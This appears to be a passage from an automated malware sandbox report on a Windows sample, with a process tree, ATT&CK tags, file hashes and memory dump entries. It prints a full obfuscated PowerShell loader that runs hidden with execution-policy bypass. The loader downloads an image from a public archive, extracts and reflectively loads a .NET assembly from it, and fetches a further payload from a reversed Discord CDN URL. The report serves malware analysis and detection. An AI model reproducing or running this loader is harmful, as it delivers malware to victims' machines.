⇐G4⊤ ⪛ ㈿ ∿ ⇐Z⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐p⊤ ⪛ ㈿ ∿ ⇐Ds⊤ ⪛ ㈿ ∿ ⇐J⊤ ⪛ ㈿ ∿ ⇐Bs⊤ ⪛ ㈿ ∿ ⇐G8⊤ ⪛ ㈿ ∿ ⇐YQBk⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐Z⊤ ⪛ ㈿ ∿ ⇐BB⊤ ⪛ ㈿ ∿ ⇐HM⊤ ⪛ ㈿ ∿ ⇐cwBl⊤ ⪛ ㈿ ∿ ⇐G0⊤ ⪛ ㈿ ∿ ⇐YgBs⊤ ⪛ ㈿ ∿ ⇐Hk⊤ ⪛ ㈿ ∿ ⇐I⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐9⊤ ⪛ ㈿ ∿ ⇐C⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐WwBT⊤ ⪛ ㈿ ∿ ⇐Hk⊤ ⪛ ㈿ ∿ ⇐cwB0⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐bQ⊤ ⪛ ㈿ ∿ ⇐u⊤ ⪛ ㈿ ∿ ⇐FI⊤ ⪛ ㈿ ∿ ⇐ZQBm⊤ ⪛ ㈿ ∿ ⇐Gw⊤ ⪛ ㈿ ∿ ⇐ZQBj⊤ ⪛ ㈿ ∿ ⇐HQ⊤ ⪛ ㈿ ∿ ⇐aQBv⊤ ⪛ ㈿ ∿ ⇐G4⊤ ⪛ ㈿ ∿ ⇐LgBB⊤ ⪛ ㈿ ∿ ⇐HM⊤ ⪛ ㈿ ∿ ⇐cwBl⊤ ⪛ ㈿ ∿ ⇐G0⊤ ⪛ ㈿ ∿ ⇐YgBs⊤ ⪛ ㈿ ∿ ⇐Hk⊤ ⪛ ㈿ ∿ ⇐XQ⊤ ⪛ ㈿ ∿ ⇐6⊤ ⪛ ㈿ ∿ ⇐Do⊤ ⪛ ㈿ ∿ ⇐T⊤ ⪛ ㈿ ∿ ⇐Bv⊤ ⪛ ㈿ ∿ ⇐GE⊤ ⪛ ㈿ ∿ ⇐Z⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐o⊤ ⪛ ㈿ ∿ ⇐CQ⊤ ⪛ ㈿ ∿ ⇐YwBv⊤ ⪛ ㈿ ∿ ⇐G0⊤ ⪛ ㈿ ∿ ⇐bQBh⊤ ⪛ ㈿ ∿ ⇐G4⊤ ⪛ ㈿ ∿ ⇐Z⊤ ⪛ ㈿ ∿ ⇐BC⊤ ⪛ ㈿ ∿ ⇐Hk⊤ ⪛ ㈿ ∿ ⇐d⊤ ⪛ ㈿ ∿ ⇐Bl⊤ ⪛ ㈿ ∿ ⇐HM⊤ ⪛ ㈿ ∿ ⇐KQ⊤ ⪛ ㈿ ∿ ⇐7⊤ ⪛ ㈿ ∿ ⇐CQ⊤ ⪛ ㈿ ∿ ⇐d⊤ ⪛ ㈿ ∿ ⇐B5⊤ ⪛ ㈿ ∿ ⇐H⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐ZQ⊤ ⪛ ㈿ ∿ ⇐g⊤ ⪛ ㈿ ∿ ⇐D0⊤ ⪛ ㈿ ∿ ⇐I⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐k⊤ ⪛ ㈿ ∿ ⇐Gw⊤ ⪛ ㈿ ∿ ⇐bwBh⊤ ⪛ ㈿ ∿ ⇐GQ⊤ ⪛ ㈿ ∿ ⇐ZQBk⊤ ⪛ ㈿ ∿ ⇐EE⊤ ⪛ ㈿ ∿ ⇐cwBz⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐bQBi⊤ ⪛ ㈿ ∿ ⇐Gw⊤ ⪛ ㈿ ∿ ⇐eQ⊤ ⪛ ㈿ ∿ ⇐u⊤ ⪛ ㈿ ∿ ⇐Ec⊤ ⪛ ㈿ ∿ ⇐ZQB0⊤ ⪛ ㈿ ∿ ⇐FQ⊤ ⪛ ㈿ ∿ ⇐eQBw⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐K⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐n⊤ ⪛ ㈿ ∿ ⇐GQ⊤ ⪛ ㈿ ∿ ⇐bgBs⊤ ⪛ ㈿ ∿ ⇐Gk⊤ ⪛ ㈿ ∿ ⇐Yg⊤ ⪛ ㈿ ∿ ⇐u⊤ ⪛ ㈿ ∿ ⇐Ek⊤ ⪛ ㈿ ∿ ⇐Tw⊤ ⪛ ㈿ ∿ ⇐u⊤ ⪛ ㈿ ∿ ⇐Eg⊤ ⪛ ㈿ ∿ ⇐bwBt⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐Jw⊤ ⪛ ㈿ ∿ ⇐p⊤ ⪛ ㈿ ∿ ⇐Ds⊤ ⪛ ㈿ ∿ ⇐J⊤ ⪛ ㈿ ∿ ⇐Bt⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐d⊤ ⪛ ㈿ ∿ ⇐Bo⊤ ⪛ ㈿ ∿ ⇐G8⊤ ⪛ ㈿ ∿ ⇐Z⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐g⊤ ⪛ ㈿ ∿ ⇐D0⊤ ⪛ ㈿ ∿ ⇐I⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐k⊤ ⪛ ㈿ ∿ ⇐HQ⊤ ⪛ ㈿ ∿ ⇐eQBw⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐LgBH⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐d⊤ ⪛ ㈿ ∿ ⇐BN⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐d⊤ ⪛ ㈿ ∿ ⇐Bo⊤ ⪛ ㈿ ∿ ⇐G8⊤ ⪛ ㈿ ∿ ⇐Z⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐o⊤ ⪛ ㈿ ∿ ⇐Cc⊤ ⪛ ㈿ ∿ ⇐VgBB⊤ ⪛ ㈿ ∿ ⇐Ek⊤ ⪛ ㈿ ∿ ⇐Jw⊤ ⪛ ㈿ ∿ ⇐p⊤ ⪛ ㈿ ∿ ⇐C4⊤ ⪛ ㈿ ∿ ⇐SQBu⊤ ⪛ ㈿ ∿ ⇐HY⊤ ⪛ ㈿ ∿ ⇐bwBr⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐K⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐k⊤ ⪛ ㈿ ∿ ⇐G4⊤ ⪛ ㈿ ∿ ⇐dQBs⊤ ⪛ ㈿ ∿ ⇐Gw⊤ ⪛ ㈿ ∿ ⇐L⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐g⊤ ⪛ ㈿ ∿ ⇐Fs⊤ ⪛ ㈿ ∿ ⇐bwBi⊤ ⪛ ㈿ ∿ ⇐Go⊤ ⪛ ㈿ ∿ ⇐ZQBj⊤ ⪛ ㈿ ∿ ⇐HQ⊤ ⪛ ㈿ ∿ ⇐WwBd⊤ ⪛ ㈿ ∿ ⇐F0⊤ ⪛ ㈿ ∿ ⇐I⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐o⊤ ⪛ ㈿ ∿ ⇐Cc⊤ ⪛ ㈿ ∿ ⇐JgBh⊤ ⪛ ㈿ ∿ ⇐DY⊤ ⪛ ㈿ ∿ ⇐NQBk⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐ZQ⊤ ⪛ ㈿ ∿ ⇐x⊤ ⪛ ㈿ ∿ ⇐DQ⊤ ⪛ ㈿ ∿ ⇐YgBk⊤ ⪛ ㈿ ∿ ⇐DI⊤ ⪛ ㈿ ∿ ⇐N⊤ ⪛ ㈿ ∿ ⇐Bh⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐NQ⊤ ⪛ ㈿ ∿ ⇐4⊤ ⪛ ㈿ ∿ ⇐D⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐ZQBi⊤ ⪛ ㈿ ∿ ⇐DQ⊤ ⪛ ㈿ ∿ ⇐YgBm⊤ ⪛ ㈿ ∿ ⇐Dk⊤ ⪛ ㈿ ∿ ⇐NQ⊤ ⪛ ㈿ ∿ ⇐3⊤ ⪛ ㈿ ∿ ⇐GY⊤ ⪛ ㈿ ∿ ⇐NQBl⊤ ⪛ ㈿ ∿ ⇐Dc⊤ ⪛ ㈿ ∿ ⇐Z⊤ ⪛ ㈿ ∿ ⇐Bi⊤ ⪛ ㈿ ∿ ⇐GI⊤ ⪛ ㈿ ∿ ⇐OQBi⊤ ⪛ ㈿ ∿ ⇐DQ⊤ ⪛ ㈿ ∿ ⇐OQBk⊤ ⪛ ㈿ ∿ ⇐GE⊤ ⪛ ㈿ ∿ ⇐ZgBk⊤ ⪛ ㈿ ∿ ⇐Dc⊤ ⪛ ㈿ ∿ ⇐NgBk⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐ZQ⊤ ⪛ ㈿ ∿ ⇐3⊤ ⪛ ㈿ ∿ ⇐DM⊤ ⪛ ㈿ ∿ ⇐N⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐4⊤ ⪛ ㈿ ∿ ⇐DQ⊤ ⪛ ㈿ ∿ ⇐YwBj⊤ ⪛ ㈿ ∿ ⇐Dc⊤ ⪛ ㈿ ∿ ⇐NQ⊤ ⪛ ㈿ ∿ ⇐2⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐Mg⊤ ⪛ ㈿ ∿ ⇐y⊤ ⪛ ㈿ ∿ ⇐GI⊤ ⪛ ㈿ ∿ ⇐M⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐2⊤ ⪛ ㈿ ∿ ⇐Dk⊤ ⪛ ㈿ ∿ ⇐Nw⊤ ⪛ ㈿ ∿ ⇐3⊤ ⪛ ㈿ ∿ ⇐D0⊤ ⪛ ㈿ ∿ ⇐bQBo⊤ ⪛ ㈿ ∿ ⇐CY⊤ ⪛ ㈿ ∿ ⇐Yw⊤ ⪛ ㈿ ∿ ⇐5⊤ ⪛ ㈿ ∿ ⇐GI⊤ ⪛ ㈿ ∿ ⇐Ng⊤ ⪛ ㈿ ∿ ⇐w⊤ ⪛ ㈿ ∿ ⇐GQ⊤ ⪛ ㈿ ∿ ⇐Ng⊤ ⪛ ㈿ ∿ ⇐2⊤ ⪛ ㈿ ∿ ⇐D0⊤ ⪛ ㈿ ∿ ⇐cwBp⊤ ⪛ ㈿ ∿ ⇐CY⊤ ⪛ ㈿ ∿ ⇐Yw⊤ ⪛ ㈿ ∿ ⇐x⊤ ⪛ ㈿ ∿ ⇐GQ⊤ ⪛ ㈿ ∿ ⇐Yg⊤ ⪛ ㈿ ∿ ⇐x⊤ ⪛ ㈿ ∿ ⇐GQ⊤ ⪛ ㈿ ∿ ⇐Ng⊤ ⪛ ㈿ ∿ ⇐2⊤ ⪛ ㈿ ∿ ⇐D0⊤ ⪛ ㈿ ∿ ⇐e⊤ ⪛ ㈿ ∿ ⇐Bl⊤ ⪛ ㈿ ∿ ⇐D8⊤ ⪛ ㈿ ∿ ⇐d⊤ ⪛ ㈿ ∿ ⇐B4⊤ ⪛ ㈿ ∿ ⇐HQ⊤ ⪛ ㈿ ∿ ⇐LgBm⊤ ⪛ ㈿ ∿ ⇐GQ⊤ ⪛ ㈿ ∿ ⇐c⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐u⊤ ⪛ ㈿ ∿ ⇐Dk⊤ ⪛ ㈿ ∿ ⇐Mg⊤ ⪛ ㈿ ∿ ⇐5⊤ ⪛ ㈿ ∿ ⇐DM⊤ ⪛ ㈿ ∿ ⇐O⊤ ⪛ ㈿ ∿ ⇐Bf⊤ ⪛ ㈿ ∿ ⇐Ek⊤ ⪛ ㈿ ∿ ⇐Uw⊤ ⪛ ㈿ ∿ ⇐v⊤ ⪛ ㈿ ∿ ⇐DQ⊤ ⪛ ㈿ ∿ ⇐MQ⊤ ⪛ ㈿ ∿ ⇐2⊤ ⪛ ㈿ ∿ ⇐D⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐Ng⊤ ⪛ ㈿ ∿ ⇐1⊤ ⪛ ㈿ ∿ ⇐Dg⊤ ⪛ ㈿ ∿ ⇐Mw⊤ ⪛ ㈿ ∿ ⇐5⊤ ⪛ ㈿ ∿ ⇐Dg⊤ ⪛ ㈿ ∿ ⇐OQ⊤ ⪛ ㈿ ∿ ⇐w⊤ ⪛ ㈿ ∿ ⇐DU⊤ ⪛ ㈿ ∿ ⇐OQ⊤ ⪛ ㈿ ∿ ⇐2⊤ ⪛ ㈿ ∿ ⇐Dg⊤ ⪛ ㈿ ∿ ⇐Nw⊤ ⪛ ㈿ ∿ ⇐y⊤ ⪛ ㈿ ∿ ⇐DE⊤ ⪛ ㈿ ∿ ⇐Lw⊤ ⪛ ㈿ ∿ ⇐x⊤ ⪛ ㈿ ∿ ⇐DQ⊤ ⪛ ㈿ ∿ ⇐M⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐0⊤ ⪛ ㈿ ∿ ⇐DY⊤ ⪛ ㈿ ∿ ⇐M⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐4⊤ ⪛ ㈿ ∿ ⇐D⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐M⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐y⊤ ⪛ ㈿ ∿ ⇐DY⊤ ⪛ ㈿ ∿ ⇐Mw⊤ ⪛ ㈿ ∿ ⇐x⊤ ⪛ ㈿ ∿ ⇐Dg⊤ ⪛ ㈿ ∿ ⇐MQ⊤ ⪛ ㈿ ∿ ⇐4⊤ ⪛ ㈿ ∿ ⇐Dc⊤ ⪛ ㈿ ∿ ⇐Mg⊤ ⪛ ㈿ ∿ ⇐x⊤ ⪛ ㈿ ∿ ⇐C8⊤ ⪛ ㈿ ∿ ⇐cwB0⊤ ⪛ ㈿ ∿ ⇐G4⊤ ⪛ ㈿ ∿ ⇐ZQBt⊤ ⪛ ㈿ ∿ ⇐Gg⊤ ⪛ ㈿ ∿ ⇐YwBh⊤ ⪛ ㈿ ∿ ⇐HQ⊤ ⪛ ㈿ ∿ ⇐d⊤ ⪛ ㈿ ∿ ⇐Bh⊤ ⪛ ㈿ ∿ ⇐C8⊤ ⪛ ㈿ ∿ ⇐bQBv⊤ ⪛ ㈿ ∿ ⇐GM⊤ ⪛ ㈿ ∿ ⇐LgBw⊤ ⪛ ㈿ ∿ ⇐H⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐YQBk⊤ ⪛ ㈿ ∿ ⇐HI⊤ ⪛ ㈿ ∿ ⇐bwBj⊤ ⪛ ㈿ ∿ ⇐HM⊤ ⪛ ㈿ ∿ ⇐aQBk⊤ ⪛ ㈿ ∿ ⇐C4⊤ ⪛ ㈿ ∿ ⇐bgBk⊤ ⪛ ㈿ ∿ ⇐GM⊤ ⪛ ㈿ ∿ ⇐Lw⊤ ⪛ ㈿ ∿ ⇐v⊤ ⪛ ㈿ ∿ ⇐Do⊤ ⪛ ㈿ ∿ ⇐cwBw⊤ ⪛ ㈿ ∿ ⇐HQ⊤ ⪛ ㈿ ∿ ⇐d⊤ ⪛ ㈿ ∿ ⇐Bo⊤ ⪛ ㈿ ∿ ⇐Cc⊤ ⪛ ㈿ ∿ ⇐I⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐s⊤ ⪛ ㈿ ∿ ⇐C⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐Jw⊤ ⪛ ㈿ ∿ ⇐x⊤ ⪛ ㈿ ∿ ⇐Cc⊤ ⪛ ㈿ ∿ ⇐I⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐s⊤ ⪛ ㈿ ∿ ⇐C⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐JwBD⊤ ⪛ ㈿ ∿ ⇐Do⊤ ⪛ ㈿ ∿ ⇐X⊤ ⪛ ㈿ ∿ ⇐BQ⊤ ⪛ ㈿ ∿ ⇐HI⊤ ⪛ ㈿ ∿ ⇐bwBn⊤ ⪛ ㈿ ∿ ⇐HI⊤ ⪛ ㈿ ∿ ⇐YQBt⊤ ⪛ ㈿ ∿ ⇐EQ⊤ ⪛ ㈿ ∿ ⇐YQB0⊤ ⪛ ㈿ ∿ ⇐GE⊤ ⪛ ㈿ ∿ ⇐X⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐n⊤ ⪛ ㈿ ∿ ⇐C⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐L⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐g⊤ ⪛ ㈿ ∿ ⇐Cc⊤ ⪛ ㈿ ∿ ⇐cgBl⊤ ⪛ ㈿ ∿ ⇐H⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐ZQBu⊤ ⪛ ㈿ ∿ ⇐GQ⊤ ⪛ ㈿ ∿ ⇐aQBt⊤ ⪛ ㈿ ∿ ⇐GU⊤ ⪛ ㈿ ∿ ⇐bgB0⊤ ⪛ ㈿ ∿ ⇐G8⊤ ⪛ ㈿ ∿ ⇐Jw⊤ ⪛ ㈿ ∿ ⇐s⊤ ⪛ ㈿ ∿ ⇐Cc⊤ ⪛ ㈿ ∿ ⇐QQBk⊤ ⪛ ㈿ ∿ ⇐GQ⊤ ⪛ ㈿ ∿ ⇐SQBu⊤ ⪛ ㈿ ∿ ⇐F⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐cgBv⊤ ⪛ ㈿ ∿ ⇐GM⊤ ⪛ ㈿ ∿ ⇐ZQBz⊤ ⪛ ㈿ ∿ ⇐HM⊤ ⪛ ㈿ ∿ ⇐Mw⊤ ⪛ ㈿ ∿ ⇐y⊤ ⪛ ㈿ ∿ ⇐Cc⊤ ⪛ ㈿ ∿ ⇐L⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐n⊤ ⪛ ㈿ ∿ ⇐Cc⊤ ⪛ ㈿ ∿ ⇐KQ⊤ ⪛ ㈿ ∿ ⇐p⊤ ⪛ ㈿ ∿ ⇐⊤ ⪛ ㈿ ∿ ⇐==';$OWjuxD = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $Codigo.replace('⊤ ⪛ ㈿ ∿ ⇐','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2092
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia803104.us.archive.org/27/items/vbs_20240726_20240726/vbs.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('&a65dee14bd24ae580eb4bf957f5e7dbb9b49dafd76dee73484cc756e22b06977=mh&c9b60d66=si&c1db1d66=xe?txt.fdp.92938_IS/4160658398905968721/1404608002631818721/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , '1' , 'C:\ProgramData\' , 'rependimento','AddInProcess32',''))"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1980

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    622fbfda203bae4fddcf93af724ea69b

    SHA1

    128f7e3e1c9cccdf97d1f09ef3f7c85cece09253

    SHA256

    22a6820a839938f94d64ba05a19f8df9b360d9a595c9e9c7c750443d50a5a0f2

    SHA512

    4080730fbc96939ef04ca9353707751d4c6e53a3ed2f73b610ee698877dfeda02db7ddc7dd011a25a127fa686182ad9cda54d9138177cc65d1200a33f16a9af2

  • memory/2092-4-0x000007FEF53AE000-0x000007FEF53AF000-memory.dmp

    Filesize

    4KB

  • memory/2092-5-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

    Filesize

    2.9MB

  • memory/2092-6-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

    Filesize

    32KB

  • memory/2092-7-0x000007FEF50F0000-0x000007FEF5A8D000-memory.dmp

    Filesize

    9.6MB

  • memory/2092-8-0x000007FEF50F0000-0x000007FEF5A8D000-memory.dmp

    Filesize

    9.6MB

  • memory/2092-10-0x000007FEF50F0000-0x000007FEF5A8D000-memory.dmp

    Filesize

    9.6MB

  • memory/2092-15-0x000007FEF50F0000-0x000007FEF5A8D000-memory.dmp

    Filesize

    9.6MB